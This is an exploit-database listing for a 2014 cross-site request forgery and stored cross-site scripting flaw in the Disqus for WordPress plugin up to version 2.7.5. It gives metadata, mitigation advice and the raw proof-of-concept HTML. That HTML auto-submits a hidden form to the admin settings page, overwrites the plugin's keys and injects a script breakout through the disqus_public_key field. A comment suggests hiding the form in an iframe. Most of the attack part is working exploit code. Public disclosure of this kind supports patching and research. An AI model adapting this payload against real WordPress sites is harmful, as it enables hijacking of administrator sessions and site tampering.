Exploit for Disqus for Wordpress admin stored CSRF+XSS up to v2.7.5

vendor:

Disqus for Wordpress

by:

Nik Cubrilovic

8,8

CVSS

HIGH

Stored Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF)

79, 352

CWE

Product Name: Disqus for Wordpress

Affected Version From: 2.7.5

Affected Version To: 2.7.5

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Wordpress

2014

Exploit for Disqus for WordPress admin stored CSRF+XSS up to v2.7.5

This exploit allows an attacker to inject malicious JavaScript code into the Disqus for Wordpress plugin up to version 2.7.5. The malicious code is injected into the disqus_public_key parameter, which is unfiltered and injectable. The code is then executed when the form is submitted.

Mitigation:

Upgrade to the latest version of the Disqus for Wordpress plugin, which is not vulnerable to this exploit.

Source

Exploit-DB raw data:

<!--
Exploit for Disqus for Wordpress admin stored CSRF+XSS up to v2.7.5

Blog post explainer: https://www.nikcub.com/posts/multiple-vulnerabilities-in-disqus-wordpress-plugin/

12th August 2014

Nik Cubrilovic - www.nikcub.com

Most of these params are unfiltered/injectable. Not framable on newer Wordpress.

-->

<body onload="javascript:document.forms[0].submit()">
  

<form  action="http://wordpress.dev/wp-admin/edit-comments.php?page=disqus" method="post" class="dashboard-widget-control-form">
<h1>disqus csrf reset</h1>
<!-- Idea for you: Iframe it -->
<input name="disqus_forum_url" type="hidden" value="wordpress342222222" />
<input name="disqus_replace" type="hidden" value="all" />

<!-- <input name="disqus_partner_key" type="hidden" value="1" /> -->
<input name="disqus_cc_fix" type="hidden" value="1" />
<input name="disqus_partner_key" type="hidden" value="1" />
<input name="disqus_secret_key" type="hidden" value="1" />
<!-- Your File: <input name="disqus_sso_button" type="file" /><br /> -->
<input type="submit" value="save" />
<input name="disqus_public_key" type="hidden" value='&lt;/textarea&gt;<script>alert(1);</script><textarea>' />
</form>